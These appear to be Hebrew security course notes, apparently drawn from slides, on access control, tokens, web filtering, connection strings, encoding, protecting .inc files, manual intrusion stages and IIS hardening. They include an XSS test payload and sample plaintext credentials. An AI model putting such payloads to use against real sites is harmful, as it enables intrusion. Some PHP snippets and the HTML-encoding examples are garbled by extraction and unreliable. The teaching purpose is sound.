- 1. ACL היא רשימה שמגדירה למי יש הרשאה לגשת למשאב מסוים ומה הפעולות שמותר לבצע עליו. היא מגנה על המערכת על ידי צמצום הגישה רק למשתמשים המורשים ולפעולות המותרות.
- 2. תוקפים משתמשים בכלים אוטומטיים כמו Burp Suite כדי לשלוח בקשות לנתיבים שונים ולזהות משאבים שאינם מוגנים כראוי. הם מנסים לגלות משאבים על ידי ניחוש נתיבים או שינוי פרמטרים.
 - א. הגדרת ACL חזקה.
 - ב. שימוש במנגנוני זיהוי חדירות IDS/IPS
 - ג. חסימת כתובות IP על פעילות חריגה.
 - ד. הגבלת משאבים מוגנים מאחורי אימות.
- 1. עדכון תקופתי של המטריצה מבטיח שהיא תואמת לשינויים בארגון, כמו עזיבת עובדים, שינוי תפקידים או הוספת מערכות חדשות. זה גם מונע מצב שבו משתמשים מחזיקים בהרשאות עודפות, שעלולות להוות סיכון אבטחתי.

- 2. עיקרון Least Privilege אומר שמשתמשים צריכים לקבל רק את ההרשאות הנחוצות להם לביצוע עבודתם, ולא יותר. במטריצה, זה מתבטא בכך שכל תא בטבלה מציין גישה מינימלית לתפקיד מסוים, ללא הרשאות לא נחוצות.
 - א. משתמשים עשויים לקבל גישה למידע רגיש שלא אמור להיות בידם.
 - ב. האקרים או עובדים זדוניים יכולים לנצל הרשאות עודפות.
 - ג. הארגון עשוי להפר רגולציות ולספוג קנסות כבדים.
- 1. JWT נמכיל מידע קריא (כמו מזהה משתמש וההרשאות) שניתן לפענח בצד הלקוח ללא צורך באימות נוסף בשרת, מה שהופך אותו למהיר ויעיל יותר.

- 2. אם Bearer Token נגנב, ניתן להשתמש בו ללא צורך בחתימה נוספת, מה שהופך אותו לפגיע יותר במקרה של פריצה או הדלפה.
- 3. MAC Token דורש חתימה דיגיטלית עבור כל בקשה, מה שמגביר את רמת האבטחה אך מקשה על הניהול.
- Bearer Token לעומת זאת, פשוט יותר לשימוש אך פחות בטוח.
- 4. דוגמה לפריצה: אם אסימון גישה מועבר ללא הצפנה למשל, על גבי HTTP ולא HTTPS, תוקף יכול ליירט אותו באמצעות התקפת Man-in-the-Middle.
- אמצעי הגנה:
 - א. שימוש בפרוטוקול HTTPS להצפנה.
 - ב. הגבלת טווח חיים של האסימון.
 - ג. שימוש ב-Token Refresh למניעת שימוש באסימונים ישנים.
- 5. עקרון זה אומר שעל האסימון להכיל רק הרשאות נדרשות ולא יותר מכך. למשל, אסימון למשתמש רגיל לא צריך לאפשר גישה לניהול מערכת.
- 1. לזהות את המשתמש באופן ייחודי ולנהל את החיבור שלו למערכת.
- 2. בדרך כלל ב-Cookies או ב-Local Storage
- 3. הם מונעים גישה לטוקן באמצעות JavaScript ובכך מפחיתים את הסיכון לתקיפות XSS
- 4. HTTPS מצפין את המידע המועבר בין הלקוח לשרת, ומונע מתוקפים להאזין או לגנוב את הטוקן באמצעות התקפות Man-in-the-Middle.

מהי בקרת גלישה אגרסיבית ברשת?

- מהי בקרת גלישה אגרסיבית ברשת?
- בקרת גלישה אגרסיבית היא מנגנון המיושם על הרשת או על תעבורת האינטרנט במטרה לשלוט, לסנן או להגביל גישה של משתמשים לכתובות או תכנים לא רצויים.
- בקרת גלישה כזו נחשבת "אגרסיבית" כי היא חוסמת באופן מיידי, קשיח ורחב תכנים מסוימים או אתרים שזוהו כמסוכנים או לא רצויים, גם אם זה יוביל לחווית גלישה פחות גמישה.

מטרות בקרת גלישה אגרסיבית

- מטרות בקרת גלישה אגרסיבית:
 1. שמירה על אבטחת מידע: חסימת אתרים מסוכנים שמכילים קבצים זדוניים (כגון וירוסים ותוכנות ריגול).
 2. הגנה מפני ניסיונות דיוג (Phishing): מניעת גישה לאתרים שמתחזים לאתרים לגיטימיים (למשל בנקים או שירותי דוא"ל).
 3. הגבלת גישה לתוכן לא רצוי: חסימת אתרים שאינם מתאימים לארגון, כגון אתרי הימורים, פורנוגרפיה או משחקים.
 4. ניהול יעיל של רוחב פס: מניעת גלישה באתרים כבדי תעבורה (למשל וידאו והזרמת תוכן), כדי לשפר ביצועי הרשת.

איפה מיושמת בקרת גלישה?

- איפה מיושמת בקרת גלישה?
 - בקרת גלישה יכולה להתבצע בכמה מקומות:
 1. בפיריורל (Firewall): חוקים שמגבילים את התעבורה הנכנסת והיוצאת.
 2. בשרת Proxy: מסנן תכנים לפני שהמשתמש ניגש לאתר.
 3. בתוכנות ייעודיות לניהול רשת - כגון Web Filters או מערכות בקרת תכנים.
 4. בנתב הרשת (Router): חסימה לפי כתובות IP ו-DNS.

טכנולוגיות ליישום בקרת גלישה אגרסיבית

- טכנולוגיות ליישום בקרת גלישה אגרסיבית

- 1. פיירוולים: משמשים לבקרה על התעבורה הנכנסת והיוצאת מהרשת.
- מבוססים על חוקים מוגדרים מראש (Access Control Lists - ACL) – את זה תלמדו את מרגי
- 2. שרת Proxy: משמש כמתווך בין המשתמש לאינטרנט ומסנן תכנים לפי רשימות שחורות או לבנות.
- 3. DNS Filtering סינון: חסימה מבוססת על שמות דומיינים (URL) המנותבים לשירות סינון חיצוני.
- 4. Web Filtering Appliances מערכות סינון תכנים:
- התקנים ייעודיים לבקרת גלישה שמסננים תכנים לפי קטגוריות או פרמטרים אחרים.
- 5. אנטי-וירוס עם יכולות בקרת גלישה: חלק מתוכנות האנטי-וירוס המתקדמות מספקות גם יכולות סינון אתרים

שיטות יישום בקרת גלישה אגרסיבית

- שיטות יישום בקרת גלישה אגרסיבית
- 1. סינון לפי כתובת IP או URL חסימת גישה לאתרים ספציפיים על בסיס כתובת IP או דומיין.
- דוגמה: חסימת כל האתרים המכילים את המילה "social" או "game"
- 2. Whitelisting (רשימה לבנה):
- רק אתרים מאושרים ברשימה הלבנה יהיו נגישים. כל היתר ייחסמו.
- מתאים לארגונים עם דרישות אבטחה קפדניות (כגון בנקים, צבא).
- 3. Blacklisting (רשימה שחורה):
- חסימה של אתרים מסוימים או קטגוריות אתרים ידועים מראש (כגון הימורים, פורנוגרפיה).
- 4. סינון לפי מילות מפתח: חסימה של עמודים המכילים מילות מפתח אסורות.
- 5. סינון לפי קטגוריות (Content Categories): שירותי סינון אוטומטיים המסווגים אתרים לפי תוכן (חינוך, בידור, חדשות, פורנוגרפיה, וכו').

יתרונות וחסרונות של בקרת גלישה אגרסיבית

- יתרונות וחסרונות של בקרת גלישה אגרסיבית
- יתרונות:
- 1. אבטחה מוגברת - חוסם אתרים זדוניים ומונע מתקפות פשינג.
- 2. שיפור פרודוקטיביות - מצמצם הסחות דעת לעובדים.
- 3. שימוש יעיל במשאבי הרשת - מגביל תעבורה לא רצויה.
- 4. עמידה ברגולציה - עוזר לעמוד בדרישות חוקיות ומדיניות אבטחה.
- חסרונות:
- 1. חווית משתמש מוגבלת - חלק מהתכנים הלגיטימיים עלולים להיחסם.
- 2. תחזוקה מורכבת - נדרש עדכון תכופ של רשימות שחורות ולבנות.
- 3. עקיפה אפשרית - משתמשים מתוחכמים יכולים לעקוף את החסימה (לדוגמה, באמצעות VPN)

מהי מחרוזת חיבור SQL Connection String

- מהי מחרוזת חיבור SQL Connection String
- מחרוזת חיבור היא טקסט המגדיר את פרטי החיבור למסד הנתונים, הכוללים:
- שרת (Server): המיקום של מסד הנתונים (כתובת IP או שם השרת).
- בסיס נתונים (Database): שם בסיס הנתונים אליו נרצה להתחבר.
- שם משתמש וסיסמה (Credentials): מידע הזדהות.
- פרוטוקול חיבור (Protocol): הטכנולוגיה שמשמשת לחיבור (כגון TCP/IP)

דוגמה בסיסית למחרוזת חיבור ב-SQL Server

- דוגמה בסיסית למחרוזת חיבור ב-SQL Server:
- ;Server=myServerAddress;Database=myDataBase;User Id=myUsername;Password=myPassword;
- הסבר הפרמטרים:

- Server: הכתובת של השרת (למשל, localhost למחשב מקומי).
- Database: השם של מסד הנתונים.
- User Id: שם המשתמש המשמש להתחברות.
- Password: הסיסמה.

מהי מחרוזת חיבור Cleartext?

- מהי מחרוזת חיבור Cleartext?
- מחרוזת חיבור ב-Cleartext היא מחרוזת שבה הסיסמה ופרטי ההתחברות מופיעים בצורה גלויה, כלומר לא מוצפנים.
- דוגמה מסוכנת ל-Cleartext:
- ;Server=192.168.1.1;Database=SalesDB;User Id=admin;Password=123456
- בעיות ב-Cleartext:
- אבטחה נמוכה: כל מי שמקבל גישה למחרוזת רואה את הסיסמה.
- סיכון לדליפה: אם הקובץ נשמר במערכת, כל מי שיפתח אותו יכול לראות את הפרטים.
- גישה לא מורשית: במידה ותוקף משיג את המחרוזת, הוא יכול להתחבר למסד הנתונים.

דרכים להגן על מחרוזות חיבור

- דרכים להגן על מחרוזות חיבור
- 1. שימוש באימות (Windows Authentication) Windows:
- במקום שם משתמש וסיסמה, החיבור נעשה עם חשבון Windows המוגדר מראש.
- אין צורך במחרוזת עם סיסמה גלויה.
- ;Server=myServerAddress;Database=myDataBase;Integrated Security=True
- המשך - דרכים להגן על מחרוזות חיבור
- 2. הצפנת מחרוזת חיבור:
- שמירת המחרוזת בצורה מוצפנת והצפנת התעבורה לרשת.
- לדוגמה: שימוש ב- SSL/TLS בעת החיבור (נלמד בהמשך הקורס)
- 3. שימוש בקובץ הגדרות מוגן:
- במקום לשלוח את המחרוזת בקוד, מאחסנים אותה בקובץ מוצפן או בקובץ הגדרות המוגן על-ידי הרשאות גישה.
- 4. משתני סביבה (Environment Variables): שמירת המחרוזת או חלק ממנה כמשתנה סביבה במקום בקוד.

תרגיל מעשי: יצירת חיבור עם SQL Server

- תרגיל מעשי: יצירת חיבור עם SQL Server
- בוא נתחיל עם הדרך הפחות בטוחה.
- נניח שפרטי ההתחברות שלנו הם:
- שרת (Server): localhost
- מסד נתונים (Database): testDB
- משתמש (User): yaniv
- סיסמה (Password): 123456
- המשימה שלך: כתוב מחרוזת חיבור מתאימה.
- בבקשה כתוב את מחרוזת החיבור המתאימה לפי הנתונים שהבאתי.
- זכור, זו הדרך הלא מאובטחת (Cleartext)

תשובה

- תשובה:
- ;Server=localhost;Database=TestDB;User Id=yaniv;Password=123456

- המשך - תשובה
- ;Server=localhost;Database=TestDB;Integrated Security=True
- Integrated Security=True: מאפשר התחברות באמצעות חשבון Windows, ללא צורך בשם משתמש וסיסמה גלויים.

שאלה

- המשך שאלה
- איך היית מחבר את מסד הנתונים TestDB בדרך מאובטחת יותר ללא צורך בשם משתמש וסיסמה?
- נסה לרשום מחרוזת חיבור שתשתמש ב-Windows Authentication

מה זה Encoding?

- מה זה Encoding?
- (Encoding קידוד): הוא תהליך שבו מתרגמים נתונים (כמו טקסט או מספרים) לפורמט אחר, כדי:
 - לשמור מידע באופן בטוח.
 - להתאים אותו לשימוש במערכות שונות, כמו אתרים, מסדי נתונים, או APIs.
 - מטרת הקידוד כוללת:
 1. התאמה לסביבה: הפיכת נתונים לתואמים למערכות שונות (כמו דפדפנים או מסדי נתונים).
 2. אבטחה: מניעת פרשנות שגויה של הנתונים.
 3. שימור נתונים: ייצוג מידע בפורמט שניתן לאחסון או להעברה.

דוגמאות לקידודים נפוצים

- דוגמאות לקידודים נפוצים:
 1. HTML Encoding:
 - משמש להמיר תווים מיוחדים (כמו < ו- >) כך שיישארו בטוחים לשימוש בקוד HTML.
 - דוגמה:
 - <script> → <script>
 - דוגמה נוספת:
 - קלט: <script>alert('XSS')</script>
 - קידוד:
 - <script>alert('XSS')</script>
 - 2. URL Encoding:
 - משמש להמיר תווים שאינם בטוחים לכתובת URL.
 - space → %20
 - דוגמה: קלט: hello world
 - קידוד: hello%20world
 - 3. המשך - דוגמאות לקידודים נפוצים:
 - Base64 Encoding:
 - משמש להעברת מידע בינארי בצורה טקסטואלית, כמו תמונות או מפתחות הצפנה.
 - דוגמה: קלט: Hello!
 - קידוד: SGVsbG8h
 - 4. JSON Encoding:
 - מטרה: לייצג מידע מובנה (אובייקטים או מערכים) בצורה טקסטואלית המתאימה להעברה בפרוטוקולי רשת.
 - דוגמה: קלט: אובייקט: {name: "John", age: 30}
 - קידוד: {"name":"John","age":30}
 - 5. XML Encoding:
 - מטרה: למנוע תווים מיוחדים מלהתפרש כפקודות בתוך XML.

- שימוש: תקשורת בין מערכות המשתמשות ב-XML.
- דוגמה: קלט: `<user>John</user>`
- קידוד: `<user>John</user>`

מה זה Decoding?

- מה זה Decoding?
- ((Decoding)) פענוח: הוא התהליך ההפוך ל- Encoding שבו מתרגמים את הנתונים בחזרה לפורמט המקורי שלהם. (למשל כדי להעבירם בבטחה או להתאימם למערכות שונות), Decoding ממיר את הנתונים חזרה לצורתם המקורית.

מטרות Decoding?

- מטרות Decoding?
- 1. שחזור נתונים: המרה של נתונים מקודדים חזרה למידע הקריא או המקורי.
- 2. הצגת מידע למשתמש:
- דפדפנים או תוכנות חייבים לבצע Decoding כדי להציג מידע בצורה תקינה.
- 3. פענוח מידע שהוצפן או קודד לצורכי תקשורת או אחסון.

דוגמאות נפוצות ל-Decoding

- דוגמאות נפוצות ל-Decoding:
- 1. HTML Decoding: אם יש לך טקסט HTML מקודד, כמו: `<script>alert('Hello!')</script>` תהליך ה- Decoding יחזיר אותו למצב המקורי: `<script>alert('Hello!')</script>`
- 2. URL Decoding: URL כתובת URL עם פרמטרים מקודדים כמו: `https://example.com/search?query=hello%20world` ה- Decoding ממיר את `%20` חזרה לרווח (" ") `https://example.com/search?query=hello world`
- המשך - דוגמאות נפוצות ל-Decoding:
- 3. Base64 Decoding: נתונים שהוצפנו או קודדו ב-Base64: `SGVsbG8gd29ybGQ=` מקודד: `Hello world`
- ונקבל בסוף: `Hello world`

מדוע Decoding חשוב?

- מדוע Decoding חשוב?
- שחזור נתונים: אם נתונים מקודדים או מוצפנים, יש צורך לבצע פענוח (Decoding) כדי לעבוד איתם או להציגם.
- 2. תאימות בין מערכות: Decoding מבטיח שהמידע שהגיע ישוחרר בצורה הקריאה והנכונה שלו.
- 3. אבטחת מידע: במקרים מסוימים, חשוב לוודא שהמידע עובר קידוד/פענוח בצורה מבוקרת כדי למנוע בעיות כמו הזרקת קוד.

מה זה Strong Output?

- מה זה Strong Output?
- Strong Output הוא מונח שמתאר את היכולת להציג ולשלוח מידע למשתמש או למערכות חיצוניות בצורה בטוחה ומוגנת, כך שלא תהיה פגיעה באבטחת המידע או בתפקוד המערכת.
- הכוונה היא להבטיח שהפלט שלנו לא מכיל קוד זדוני או תווים שיכולים לגרום להתקפות כמו: XSS, SQL injection, HTML injection, Command injection

- והכל ע"פ מה שלמדנו עכשיו

מה זה קובץ עם סיומת .inc?

- מה זה קובץ עם סיומת .inc?
- קבצי .inc הם קבצים פשוטים המכילים קוד תוכנה או טקסט שנועדו להיכלל (include) בתוך קובצי קוד גדולים יותר. הסיומת .inc היא לא סיומת תקנית כמו php או html. אלא נועדה לציון קבצי קוד עזר.

אז מה זה בעצם

- אז מה זה בעצם
- סיומת .inc מייצגת Include כולל, זהו סוג של קובץ שנועד לשמש כקובץ "כולל" שמתווסף לקבצים אחרים בקוד המקור של פרויקט תכנות.
- שימושים עיקריים:
- שיתוף קוד: קבצים אלו מכילים קטעי קוד שנדרשים במספר מקומות בפרויקט, כמו פונקציות, הגדרות, או תבניות HTML
- ארגון הקוד: מאפשר הפרדה בין לוגיקת התוכנית לחלקים חוזרים, מה שמקל על תחזוקה וקריאות הקוד.
- ניהול קונפיגורציות: שימוש בקבצי .inc להגדרות כמו פרטי חיבור למסד נתונים, הגדרות גלובליות, ועוד.
- שפות תכנות נפוצות:
- PHP: שימוש נפוץ בקבצי .inc להכנסת קבצי קוד נוספים.
- ++C/C: שימוש ב- #include עם קבצי header
- ASP: שימוש בקבצי include להוספת תבניות וקוד חוזר.

למה משתמשים בקבצי .inc

- למה משתמשים בקבצי .inc
- יתרונות
- 1. שיתוף קוד חוזר: אם יש פונקציה או הגדרה שחוזרת בין מספר קבצים, ניתן לכתוב אותה בקובץ .inc ולהשתמש בה בכל הקבצים.
- 2. ארגון הקוד: קבצי .inc זורים להפריד בין לוגיקה, תצוגה, והגדרות.
- 3. תחזוקה נוחה: עדכון קובץ .inc אחד יכול להשפיע על כל הקבצים שמשתמשים בו, מה שחוסך זמן.

דוגמה 1: קובץ הגדרות config.inc

- דוגמה 1: קובץ הגדרות config.inc
- ```
php?>
config.inc //
; "servername = "localhost$
; "username = "root$
; "password = "12345$
; "dbname = "example_db$
```

## דוגמה 2: קובץ פונקציות functions.inc

- דוגמה 2: קובץ פונקציות functions.inc
- ```
php?>
functions.inc //
} function greet($name) {
; "return "Hello, $name
```

דוגמה 3: הקובץ הראשי index.php

```
• דוגמה 3: הקובץ הראשי index.php
• <?php
• index.php //
• ;include 'config.inc'
• ;include 'functions.inc'
• // שימוש בקובץ config
• ;<echo "Connecting to database: $dbname<br
• // שימוש בפונקציה
• ;echo greet("Student")
```

פלט

```
• פלט:
• Connecting to database: example_db
• !Hello, Student
```

שלב 4: אבטחת קבצי inc.

- שלב 4: אבטחת קבצי inc.
- בעיה
- קבצי inc. הם קובצי טקסט פשוטים, ולכן אם הם נגישים ישירות דרך הדפדפן, ייתכן שמידע רגיש (כמו סיסמאות) ייחשף.
- פתרונות
- 1. שנה את הסיומת: השתמש ב- .php במקום ב- .inc כך הקובץ יעובד בשרת.
- 2. אחסן קבצים בתיקיה מוגנת: העבר את הקבצים לתיקיה שאינה נגישת ישירות מהאינטרנט.
- 3. שימוש בקובץ htaccess : הגבל גישה לקבצים בתיקיות מסוימות.

דוגמה להגבלת גישה ב- htaccess.

```
• דוגמה להגבלת גישה ב- htaccess.
• <"Files "*.inc>
• Deny from all
• </Files/>
• פירוט הפעולות:
• 1. <"Files "*.inc>
• • סעיף זה אומר לשרת (למשל Apache) להתמקד בקבצים שהסיומת שלהם היא .inc.
• • הסיומת * הוא תו כללי, ולכן הכלל חל על כל קובץ עם הסיומת .inc ללא תלות בשמו.
• 2. Deny from all
• • הוראה זו אומרת לשרת למנוע גישה מכל משתמש לכתובת URL שמבקשת גישה לקובץ .inc.
```

מה זה עושה בפועל?

- מה זה עושה בפועל?
- כאשר מישהו מנסה לטעון קובץ INC. ישירות דרך הדפדפן, לדוגמה:
<http://example.com/config.inc>
- במקום לראות את תוכן הקובץ, השרת יחסום את הבקשה ויחזיר הודעת שגיאה, בדרך כלל:
Forbidden 403

- מניעת חשיפת מידע רגיש
- אם הקובץ inc מכיל מידע רגיש, כמו סיסמאות או פרטי חיבור לבסיס נתונים, המנגנון הזה מונע גישה אליו מהאינטרנט.

מספר דרכים להגן על קבצי inc.

- מספר דרכים להגן על קבצי inc.
- 1. שמור את קבצי ה-inc מחוץ לתקיית השורש:
 - דוגמא למשהו שאינו בטוח: public_html/includes/config.inc
 - דוגמא למשהו שהינו בטוח: var/www/private/includes/config.inc/
- 2. שנה את הסיומת ל-.php
- כאשר .php נטען על ידיך, התוכן שלו מבוצע ולא קובץ אינטרנט מוצג כטקסט גולמי. זה מונע חשיפה של תוכן רגיש
- לדוגמה: תשנה את config.inc ל config.php
- אתה יכול להשתמש בו באותו אופן:


```
include('includes/config.php');
```

מספר דרכים להגן על קבצי inc.

- המשך - מספר דרכים להגן על קבצי inc.
- 3. שימוש בבדיקת תנאים בתוך הקובץ:
 - הוסף קוד בקובץ inc כדי לוודא שהוא נטען רק מתוך קובץ אחר ולא ניגשים אליו.
 - לדוגמה:


```
} if (!defined('SECURE_ACCESS'))
;die('Direct access not allowed.');
```
 - הקוד הזה מוודא שהקובץ שבו הוא נמצא נטען רק כחלק מתהליך גדול יותר (כמו מתוך קובץ PHP אחר) ולא ניגשים אליו.
- 4. הצפנת מידע רגיש בקובץ:
 - אם הקובץ מכיל מידע רגיש (כמו סיסמאות), שקול להצפין אותו ולפענח אותו רק בזמן נטען.
 - לדוגמה: שמור סיסמאות כערכים מוצפנים בקובץ inc.
 - בזמן הטעינה


```
;"encrypted_password = "encrypted_password_here$
;password = decrypt($encrypted_password)$
```

הגנה מפני פריצות ידניות - מבוא

- הגנה מפני פריצות ידניות - מבוא
- מה זה פריצה ידנית?
- פריצה ידנית (Manual Hacking) היא פעולה שבה תוקף (האקר) מבצע ניסיונות חדירה למערכת בצורה ידנית, ללא שימוש בכלים אוטומטיים. התוקף משתמש בכישוריו ובידע שלו על מנת:
 1. לזהות חולשות במערכת.
 2. לבצע מניפולציות ידניות.
 3. לנצל פריצות אבטחה שאינן ניתנות לגילוי אוטומטי.

למה פריצה ידנית מסוכנת?

- למה פריצה ידנית מסוכנת?
- 1. יצירתיות אנושית: תוקף ידני יכול לחשוב מחוץ לקופסה, לזהות חולשות שסריקות אוטומטיות מפספסות.
- 2. ממוקדת מאוד: לרוב מדובר במתקפה שמיועדת למטרה מסוימת, עם הבנה מעמיקה של המערכת.
- 3. עקיפת כלים אוטומטיים: תוקף יכול להתאים את עצמו להגנות ולמנגנוני אבטחה.

שלבי הפריצה הידנית

- שלבי הפריצה הידנית
- 1. איסוף מידע (Reconnaissance) התוקף חוקר את היעד: כתובות IP פורטים פתוחים, תכנות רשת. כלים אפשריים: Wireshark, Nmap
- 2. סקר פגיעויות (Vulnerability Assessment) בדיקת חולשות ידועה במערכות או תוכנות. התוקף בודק אם ניתן לנצל פרצה (למשל: מערכת לא מעודכנת).
- 3. ניסיון חדירה (Exploitation) שימוש במידע שנאסף ובניצול הפרצות.
- דוגמה: ניסיון להיכנס עם סיסמאות שנגנבו או יוצרו באמצעות ניחוש.
- הערת בטיחות: הושטו פרטי הדגמה התקפיים שעלולים לאפשר ביצוע תקיפה. העיקרון: תוקפים עשויים לנצל כלים/קוד כדי להשיג שליטה או להפיץ נזקות — ההגנה מתמקדת בזיהוי, הקשחה וניטור.
- 5. מחק עקבות (Covering Tracks) התוקף מסיר לוגים ומידע שעשוי להסגיר את פעילותו.

דרכים להגן מפני פריצה ידנית

- דרכים להגן מפני פריצה ידנית
- 1. הקשחת מערכות עדכון מערכות באופן קבוע (Patch Management).
- סגירת פורטים שאינם בשימוש.
- הגבלת גישה על פי הצורך (Principle of Least Privilege)
- 2. מעקב וזיהוי חריגות שימוש במערכות (SIEM (Security Information and Event Management לזיהוי התנהגויות לא רגילות.
- התקנת IDS/IPS (Intrusion Detection/Prevention Systems)
- 3. אימות חזק שימוש בסיסמאות חזקות ומנגנון אימות דו-שלבי
- ניהול סיסמאות מרכזי (Password Manager).
- 4. הדרכת עובדים העלאת מודעות לאיומי סייבר.
- ביצוע בדיקות אבטחה פנימיות (Penetration Testing).
- 5. הדרכת עובדים העלאת מודעות לאיומי סייבר.
- ביצוע בדיקות אבטחה פנימיות (Penetration Testing)
- 6. מעקב אחרי לוגים ניתוח לוגים בזמן אמת לזיהוי ניסיונות חשודים.

דוגמה מעשית: ניסיון פריצה ידנית לתיבת דואר

- דוגמה מעשית: ניסיון פריצה ידנית לתיבת דואר
- תוקף מנסה לפרוץ לתיבת דואר:
- 1. איסוף מידע: התוקף מגלה שהאימייל של היעד דלף ברשת.
- 2. בדיקת סיסמאות: שימוש ברשימת סיסמאות דולפת.
- 3. גישה: אם הסיסמה עובדת, התוקף נכנס.
- 4. שמירה על גישה: התוקף משנה את הסיסמה או מוסיף אימייל משני.
- הגנה:
- 1. שימוש בסיסמא חזקה וייחודית.
- 2. הפעלת אימות דו-שלבי.
- 3. ניטור התראות על כניסות לא מורשות.

מבוא ל-IIS Hardening

- מבוא ל-IIS Hardening
- IIS (Internet Information Services) הוא שרת אינטרנט של מיקרוסופט, שנמצא בשימוש בעיקר על מערכות הפעלה Windows, תהליך ה-Hardening מתייחס להגדרת שרת ה-IIS בצורה שתצמצם סיכוני אבטחה, על ידי הפחתת משטח התקיפה וזיהוי נקודות תורפה פוטנציאליות.

- למה Hardening חשוב?
- 1. הפחתת סיכונים: מונע גישה לא מורשית.
- 2. שמירה על מידע רגיש: מבטיח שהנתונים המועברים והמאוחסנים מוגנים.
- 3. עמידה בתקנים: נדרש בתעשיות מסוימות כמו PCI DSS ו-HIPAA

שלבים עיקריים ב- IIS Hardening

- שלבים עיקריים ב- IIS Hardening
- 1. עדכונים וגרסאות: עדכון IIS - Windows ודא ששרת ה-IIS וכל מערכת ההפעלה מעודכנים לגרסה האחרונה עם כל תיקוני האבטחה.
- • בדוק אם קיימים Service Packs ותיקוני תוכנה קריטיים.
- 2. התקנת רכיבים חיוניים בלבד: הסר כל רכיב שאינו נדרש לשרת שלך, כגון דוגמאות ברירת מחדל, מודולים מיותרים או תכונות שאינך משתמש בהן (CGI, WebDAV ועוד).
- • ניתן לבצע זאת דרך Windows Server Manager.
- 3. שימוש בתעבורה מאובטחת HTTPS: הגדר והתקן תעודות SSL/TLS כדי להבטיח שכל התקשורת מוצפנת.
- • נהל גרסאות TLS: השתמש רק ב- TLS 1.2 או TLS 1.3
- 4. הקשחת הגדרות קבצים וספריות: הגדר הרשאות מתאימות על קבצי האתר:
- • משתמש IUSR צריך גישה מינימלית (קריאה בלבד).
- • מנע הרשאות Write על ספריות קריטיות.
- • השתמש בתכונת Request Filtering כדי להגביל סוגי קבצים וסיומות (למשל, exe. חסום).
- • המשך - שלבים עיקריים ב- IIS Hardening
- 5. הגדרת Authentication ו-Authorization: העדף Windows Authentication על פני Anonymous Access במידת האפשר.
- • הגדר IP Restrictions כדי להגביל גישה לכתובות IP או טווחים ספציפיים.
- 6. לוגים וניטור: הפעל Logging ב-IIS כדי לעקוב אחר פעולות חשודות.
- • השתמש בכלי ניטור כמו Microsoft Defender for Endpoint כדי לזהות איומים בזמן אמת.
- 7. חסימת התקפות נפוצות: הגדר Application Pool Identities בצורה מאובטחת.
- • השתמש ב- WAF (Web Application Firewall) לנטרול התקפות כמו SQL Injection או XSS
- • הפעל הגנה נגד Brute Force באמצעות הגבלת ניסיונות כניסה.
- 8. שימוש ב- URL Rewrite Rules: הגבל גישה לכתובות URL מסוימות.
- • ודא שנעשה שימוש בחוקי Redirect מאובטחים.

אז איך הוא עובד בפועל?

- אז איך הוא עובד בפועל?
- 1. ניהול Application Pools בצורה מאובטחת
- • Application Pools ב-IIS מאפשרים הפרדת אפליקציות לצורך אבטחה ויציבות.
- 2. הגדרות HTTP Headers לאבטחה
- • הגדרות כותרות HTTP יכולות להגן על האתר מפני התקפות נפוצות.
- • לדוגמא: Strict-Transport-Security (HSTS) מאלצת את הדפדפן להשתמש ב- HTTPS בלבד.
- • Strict-Transport-Security: max-age=31536000; includeSubDomains
- • דוגמא נוספת: Content-Security-Policy (CSP) מגביל טעינת תוכן רק למקורות מהימנים.
- • 'Content-Security-Policy: default-src 'self'
- • המשך - אז איך הוא עובד בפועל?
- 3. הגדרת Output Compression ו-Caching
- • Output Caching מפחית עומס על השרת על ידי שמירת תכנים סטטיים בזיכרון. ניתן להפעיל Output Caching בצורה בטוחה ולמנוע שמירה של נתונים רגישים.

- Compression Settings: הפעלת Gzip Compression מקטינה את גודל התשובות ללקוחות, אך יש להפעיל אותה בזהירות:
- השבתת דחיסת נתונים לתכנים רגישים (כמו HTML המכיל מידע פרטי).
- 4. מנגנוני ניטור ואבטחת זמן אמת
- Dynamic IP Restrictions: מונע התקפות מסוג Brute Force או DoS כלי זה חוסם באופן אוטומטי IPים המבצעים בקשות רבות מדי בזמן קצר.
- Custom Error Pages: שנה את דפי שגיאה ברירת המחדל, כך שלא ייחשפו מידע פנימי על השרת (כמו גרסת ה-IIS)
- דוגמה: הפנה משתמשים לדף שגיאה מותאם.
- 5. חסימת התקפות מתקדמות
- הגנה מ-CSRF (Cross-Site Request Forgery) הטמעת Anti-CSRF Tokens בכל טופס באתר.
- Rate Limiting: הגבל כמות בקשות מכל IP וכדי למנוע התקפות מבוססות Overload
- Web Application Firewall (WAF): השתמש ב-WAF חיצוני או מוטמע, כמו:
- Azure Application Gateway עם WAF פתרונות קוד פתוח כמו ModSecurity
- 6. שימוש בכלי אבטחה מתקדמים
- IIS Crypto: כלי חינומי להגדרה וניהול של פרוטוקולי הצפנה, הגדרות SSL/TLS וחסימת Cipher Suites לא מאובטחות.
- בטל תמיכה ב-DES, RC4 ופרוטוקולים לא בטוחים אחרים.
- Application Request Routing (ARR): כלי המאפשר שימוש ב-Reverse Proxy ניתן להשתמש בו להסתרת השרת האמיתי מאחורי Proxy

מה זה אימות הרשאות (Authz) Authorization ?

- מה זה אימות הרשאות (Authz) Authorization ?
- Authorization: (הסמכה/הרשאה) היא תהליך שבו מערכת קובעת אם למשתמש, שירות או תוכנה יש הרשאה לבצע פעולה מסוימת או לגשת למשאב מסוים.
- לדוגמה:
- האם משתמש יכול לערוך מסמך?
- האם שירות יכול למחוק רשומה ממסד הנתונים?
- תהליך זה מבוסס לרוב על:
- 1. מדיניות הרשאות (Policies) כללים מוגדרים מראש שמגדירים מי יכול לגשת למה.
- 2. הרשאות משתמש (Roles/Permissions) למשל: "מנהל" יכול לגשת לכל המערכת, אך "משתמש רגיל" מוגבל לגישה מסוימת בלבד.

מה זה Fingerprinting Authorization ?

- מה זה Fingerprinting Authorization ?
- דוגמאות מהחיים האמיתיים:
- כניסה למערכת:
- התאמה (אימות): זיהוי משתמש באמצעות שם משתמש וסיסמה.
- הרשאה (הרשאה): קביעת עמודים או משאבים אילו יכולים לראות (כגון עמודי אדמין לעומת עמודי משתמש רגיל).
- כניסה לבניין:
- התאמה: תעודת זהות מזהה אותך כאדם מורשה.
- הרשאה: כרטיס גישה מוודא אם יש לך הרשאה להיכנס לקומות מסוימות בבניין.

הבדל בין Authentication ל-Authorization

- הבדל בין Authentication ל-Authorization

סוגי גישות הרשאה

- סוגי גישות הרשאה
- בקרת גישה מבוססת תפקידים (RBAC)
- בקרת גישה מבוססת תפקידים.
- למשתמשים מוקצים תפקידים , וכל תפקיד מגדיר את ההרשאות המוקצות לו.
- יתרונות:
- קל לניהול.
- מתאים לארגונים עם היררכיה ברורה (כמו מנהלים מול עובדים).
- חסרונות:
